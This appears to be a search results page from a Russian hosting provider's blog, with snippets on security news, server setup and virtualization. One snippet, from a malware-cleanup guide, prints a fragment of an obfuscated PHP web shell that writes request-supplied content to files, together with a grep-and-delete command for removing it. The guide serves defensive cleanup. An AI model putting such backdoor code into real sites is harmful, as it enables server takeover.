Результаты поиска

… обновленной версии ProFTPD пока нет, лучший вариант: отключить опасный модуль в настройках сервера. Подробнее об угрозе на opennet.ru. Чтобы сберечь ваши нервы, рассказываем в нашем блоге два способа, как отключить модуль mod_copy. А теперь к … список корневых сертификатов была отклонена, а промежуточные сертификаты заблокированы. О причинах такого отношения — на opennet.ru. В свете таких новостей самое время выбрать SSL-сертификат у надёжного центра , например, Comodo, если вы до сих … из ISO-образа. Шаблон автоматической установки будет позже, но точно будет. О ключевых изменениях Debian 10.0 читайте на opennet.ru . Вышло обновление Exim 4.92.1 с устранением уязвимости Состоялся внеплановый выпуск почтового сервера Exim …

… пункте и нажав далее Применить изменения , вы установите соответствующее ПО, о котором расскажем ниже: Greylisting OpenDKIM SpamAssassin  СlamAV Greylisting Greylisting — автоматический способ блокировки входящего спама. Фильтрует письма … домены , нужно выбрать домен и нажать сверху Изменить , а затем поставить галочку: И сохранить изменения, нажав Ок . OpenDKIM Идем дальше, следующий пункт OpenDKIM уже достаточно подробно описан в нашей статье. SpamAssassin  Устанавливается дополнительная утилита, которая …

… ядра для разных ОС.  Статус исправлений можно отслеживать на страницах безопасности дистрибутивов Debian, Ubuntu, SUSE/openSUSE, RHEL, Gentoo, Arch, Fedora. Подробнее ssh-keysign-pwn: уязвимость ядра, открывающая доступ к root-файлам В ядре … Кого затронуло dnsmasq используется чаще, чем кажется: он встроен в платформу Android, специализированные дистрибутивы OpenWrt и DD-WRT, прошивки беспроводных маршрутизаторов многих производителей. В обычных дистрибутивах Linux dnsmasq может … (CVE-2026-40701) и off-by-one ошибка в UTF-8-парсере (CVE-2026-42934). Как защититься Обновить nginx до версии Open Source 1.31.0 или 1.30.1. Для nginx Plus — R36 P4 или R32 P6. Если используете nginx Ingress Controller, nginx App Protect …

… при выборе решения для виртуализации: стоимость развёртывания/обслуживания и технические характеристики.  Virtuozzo  OpenVZ Тип виртуализации — программная. Использование — базовые VM для тестов, недорогой хостинг. Распространение — бесплатная базовая версия (OpenVZ), платные с расширенным набором функций. Плюсом использования гипервизора выступает быстрый запуск и простота … и упрощенный переход к виртуализации на Linux-системах, хостинг различных конфигураций. Распространение — бесплатно. Open-source гипервизор: предназначен для серверов на базе Linux/x86, поддерживает аппаратные расширения (Intel-VT и AMD-V). …

… встроенную аутентификацию с локальными учётными записями или подключить внешнего провайдера идентификации через OAuth 2.0 / OpenID Connect (OIDC), например, Keycloak. Это позволит использовать единый вход (SSO) вместо локальных учётных записей. … для аутентификации. При создании клиента заполните параметры по шагам. На шаге  General settings укажите: Client type:  OpenID Connect ; Client ID: portainer ; Name: portainer . Нажмите  Next . На шаге  Capability config включите следующие … Access Token URL https://keycloak.example.ru/realms/<realm>/protocol/openid-connect/token Resource URL https://keycloak.example.ru/realms/<realm>/protocol/openid-connect/userinfo Redirect URL …

… Navi 21 и Navi 22, поддержка сжатия образа ядра с помощью алгоритма Zstandard и многое другое. Подробнее о обновлении на opennet.ru Релиз сервера приложений NGINX Unit 1.20.0 Выпущена новая версия сервера приложений NGINX Unit 1.20.0, который … взаимодействие серверов, фреймворков и приложений, которые поддерживают работу в асинхронном режиме. О других изменениях на opennet.ru Релиз Python 3.9 В прошлом году разработчики языка программирования Python решили выпускать корректирующие … к декораторам теперь можно обращаться без ограничений, добавлен оператор для объединения словарей. Узнать больше на opennet.ru Релиз Nextcloud Hub 20 Состоялся выпуск Nextcloud Hub 20, платформы для организации совместной работы и общего …

… проблемы при настройке CORS в S3 и как их исправить Что такое CORS и зачем он нужен при работе с S3 CORS (Cross-Origin Resource Sharing) — это механизм безопасности, реализованный в современных браузерах. Он определяет правила доступа к ресурсам … "StringEquals":{"s3:prefix":[""]}}},{"Sid":"PublicReadGetObject","Effect":"Allow","Principal":"*","Action":"s3:GetObject","Resource":"arn:aws:s3:::firstvds/*"}]}    CORS:<CORSConfiguration xmlns="http://s3.amazonaws.com/doc/2006-03-01/"> …

… PHP код. Чтобы закрыть уязвимость, обновитесь до версий Drupal 7.74, 8.9.9, 8.8.11 и 9.0.8.  Читать подробнее на opennet.ru Сотрудники Github забыли продлить SSL-сертификат 2 ноября, примерно с 15 до 16 часов по мск, у веб-интерфейса … домена github.com работал, загрузка ресурсов с незащищённого хоста была заблокирована браузерами.  Читать подробнее на opennet.ru Атака NAT Slipstreaming для доступа к TCP/UDP-службам Исследователь безопасности Сами Камкар представил новую … на сетевые порты 5060 и 5061, аналогичное решение планирует принять и Chromium.  Узнать больше о механизме атаки на opennet.ru Атака PLATYPUS на процессоры Intel и AMD Исследователи из австрийского университета разработали новый способ …

… modules="FastCgiModule" scriptProcessor="C:\Program Files (x86)\PHP\v5.4\php-cgi.exe|-d my.website=wordpress" resourceType="Either" requireAccess="Script"/> Ключевой здесь является опция после пути скрипта “-d my.website=wordpress”. … с:\backup\IISAppPool Экспортируем пулы командой "C:\Program Files (x86)\IIS\Microsoft Web Deploy V3\msdeploy" -verb:sync -source:metakey=lm/w3svc/AppPools -dest:archivedir=c:\backup\IISAppPool Делаем список идентификаторов сайтов по одному на …

… управления ключами PPA-репозиториев, а также много новых версий подсистем, приложений и другого ПО. Подробнее на opennet.ru   Уязвимость в компоновщике ld.so  Специалисты обнаружили уязвимость «Looney Tunables» в компоновщике ld.so, … файла с флагом suid root. Для устранения уязвимости необходимо установить опубликованный разработчиками патч. Подробнее на opennet.ru   Уязвимость в протоколе HTTP/2 использовалась для крупнейшей DDoS-атаки  На Google была совершена крупнейшая … серверы с поддержкой HTTP/2, возможность совершения атаки для HTTP/3 атаки пока полностью не проанализирована. Подробнее на opennet.ru   Уязвимость в драйвере NVMe-oF/TCP подсистемы Linux В подсистеме Linux nvmet-tcp, позволяющей обращаться к …

… exit(); } if(isset($_REQUEST['yccqdyb'])) { $mhvwg = $_REQUEST['qipseeqy']; $mvwvjnec = $_REQUEST['yccqdyb']; $gfcked = fopen($mvwvjnec, 'w'); $qllnske = fwrite($gfcked, $mhvwg); fclose($gfcked); echo $qllnske; exit(); }?> cat malware1 | xargs grep -Rils ' = fopen(\$' | xargs grep -Rils ' = fwrite(\$' | xargs rm & Команда, которая удалит веб-шеллы FilesMan : cat malware1 | xargs … .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml В …

… Ventrillo с ознакомительной лицензией. Помощь в первоначальной установке популярных CMS (Drupal, Wordpress, Joomla, phpBB, Opencart, InstantCMS, Bitrix). Установка Bitrix: Веб-окружение. Установка Sphinx без настроек. Установка Redis без настроек, … установки той или иной версии у системных администраторов. Стоимость — 750-1000 рублей, в зависимости от ОС. Установка OpenVPN, xl2tpd, 3proxy или MPD5 (производится минимальная настройка, включающая в себя запуск прокси на основном IP сервера … настройки берет на себя клиент). Установка возможна только на виртуализацию KVM. Стоимость — 750 рублей. Установка сервера OpenVPN на Windows (производится минимальная настройка, включающая в себя запуск прокси на основном IP сервера с …

… и рабочей области. Дополнительно программу можно улучшить за счет плагинов, которые разрабатываются и поддерживаются силами open-source сообщества на GitHub и форуме Notepad++. Например, есть плагины автосохранения, hex-редактор, FTP-клиент для быстрой … ориентированный на быстродействие и тесную интеграцию с ИИ. Его создают бывшие разработчики Atom. Софт распространяется как open-source, поэтому скачать его можно бесплатно. Редактор написан на языке Rust с нативным рендерингом через DirectX. Это …

… решение. В отличие от остальных сервисов здесь каждый этап сборки и каждый плагин — это отдельный Docker-контейнер. Есть Open Source версия, которая распространяется свободно, и Enterprise Edition с более продвинутым параллелизмом. Self-Hosted решения Эти CI/CD сервисы можно установить на собственный сервер. Jenkins — популярный open-source инструмент для CI/CD, который можно гибко настраивать под задачи тестирования, сборки и деплоя. Разобраться с …

… Из интересного для серверов, были обновлены версии: Apache2, ClamAV, spamassassin, Ядра Linux. Исправлены уязвимости в: openssl, mysql-5.5, php5, wget, curl, openvpn, bind, ntp. Если Вы только собираетесь установить операционную систему на сервер, то образы для установки доступны …

… от старых ограничений и ошибок, обеспечив более стабильную и предсказуемую работу. Новая сетевая архитектура: обновлены OpenStack и OpenSDN, добавлена поддержка DPDK. Это улучшило производительность сети и сократило задержки. Обновленная подсистема …

… же будет пароль из 12 символов: cat /dev/urandom | tr -dc _A-Z-a-z-0-9 | head -c${1:-12};echo; Далее перейдем к приложению openssl и его возможности генерировать случайные символы: openssl rand -base64 12 Следующий пример использует команду strings , которая выводит печатные символы из бинарного файла. В …

… Сразу две громкие атаки потрясли мир open-source в начале сентября. Хакеры атаковали самые уязвимые места — пакеты NPM и систему автоматизации GitHub. В одном случае …

… аппаратная виртуализация, которая имеет ряд существенных отличий от виртуализаций уровня операционной системы (FreeBSD / OpenVZ), используемых нами до сих пор. XEN использует аппаратные возможности процессора, что максимально приближает … хостинг-провайдер FirstVDS.ru предлагает Виртуальные серверы на всех наиболее популярных видах виртуализации: FreeBSD, OpenVZ и XEN. Выбор за вами. Обсудить на форуме …

… в механизме защиты Landlock, также добавлено управление доступом к user namespace и io_uring через AppArmor. Подробнее на opennet.ru   Релиз СУБД MySQL 8.3.0 Компания Oracle сформировала новую ветку СУБД MySQL 8.3 и опубликовала корректирующее … к поддерживаемому компилятором стандарту C++ подняты до C++20, удалены некоторые устаревшие настройки и опции. Подробнее на opennet.ru   PixieFAIL — 9 уязвимостей в UEFI-прошивках на основе TianoCore EDK2 В сетевом стеке UEFI-прошивок на основе … уязвимостей может быть эксплуатирована из локальной сети, но отдельные допускают и атаку из внешней сети. Подробнее на opennet.ru   Исправлены критические уязвимости в GitLab Для GitLab выпустили корректирующие обновления 16.7.2, 16.6.4 и …

… выпущено обновление 2.15, но нашелся способ его обойти, поэтому разработчики выпустили версии 2.16 и 2.12.2.  Подробнее на opennet.ru   Уязвимости в Grafana В Grafana нашли уязвимость, которая позволяет злоумышленнику выйти за пределы базового … и 8.0.7, но затем были обнаружены ещё две похожие уязвимости. Проблема была решена в версиях 8.3.2 и 7.5.12. Подробнее на opennet.ru   Уязвимости в каталоге PyPI  В каталоге PyPI обнаружены три библиотеки, содержащие вредоносный код. Пакеты … троянского приложения. Сейчас проблемные пакеты уже удалены, однако их успели скачать около 15 тысяч раз. Подробнее на opennet.ru   Уязвимость в USB Gadget, подсистеме ядра Linux В USB Gadget, подсистеме ядра Linux, выявлена уязвимость, …

… и тому подобное. В своей жизни я неоднократно сталкивался с тем, что мои документы, которые были созданы в LibreOffice/OpenOffice не открывались или открывались с искажением форматирования у пользователей проприетарных систем и программных … процессоров (привожу в пример их как наиболее популярный камень преткновения при обмене данных) заявлена поддержка ODF (Open Document Format), это подразумевает, что пользователь Microsoft Windows и Microsoft Office может создать презентацию …

… рисков. Мы тоже присоединяемся к этому совету – возможность заказать сервер с CentOS 6 уже отключена.  Подробнее на opennet.ru Red Hat откажется от CentOS 8 в пользу CentOS Stream Поддержка классического варианта CentOS 8 будет прекращена 1 … доступ к будущим возможностям RHEL, но взамен придётся смириться со стабильностью на уровне бета-версии.  Подробнее на opennet.ru Ботнет PgMiner атакует базы PostgreSQL для установки майнеров Обнаружен ботнет PgMiner, который взламывает базы … В новом выпуске содержится около 17,5 тысяч исправлений, большинство из них связано с драйверами устройств.  Подробнее на opennet.ru Релиз командного интерпретатора Bash 5.1 Спустя два года разработки представлена обновлённая версия командного …

… оптимизация планировщика задач, механизм верификации корректности работы ядра, поддержка блочного шифра ARIA. Подробнее на opennet.ru     Уязвимость в подсистеме io_uring ядра Linux В реализации интерфейса асинхронного ввода/вывода io_uring … получить права root в системе. Наличие проблемы подтверждено в ветке 5.4 и ядрах начиная с ветки 5.15. Подробнее на opennet.ru     Microsoft: более 80 уязвимостей и утечка данных В октябрьских патчах Microsoft устранено более 80 различных … с непроверенными репозиториями и при использовании интерактивного режима работы «git shell».  Подробнее на opennet.ru   Уязвимость в LibreOffice может использоваться для запуска скриптов В офисном пакете LibreOffice выявлена …

… В ветке Snort 3 разработчики основательно поработали над упрощением и автоматизацией рабочих процессов. Подробнее на opennet.ru Устранена критическая уязвимость в реализации NFS Выявлена уязвимость CVE-2021-3178, связанная с работой сетевой … с безопасностью , в том числе уязвимости CVE-2021-23240 и CVE-2021-23239, связанные с утилитой sudoedit. Подробнее на opennet.ru В Dnsmasq 2.83 устранили семь уязвимостей В Dnsmasq, который используется в качестве DNS/DHCP-сервера, обнаружили … буфера, способное привести к удалённому выполнению кода. Проблемы устранены в обновлении Dnsmasq 2.83. Подробнее на opennet.ru В Flatpak устранена уязвимость, обходящая режим изоляции В утилите для создания самодостаточных пакетов Flatpak …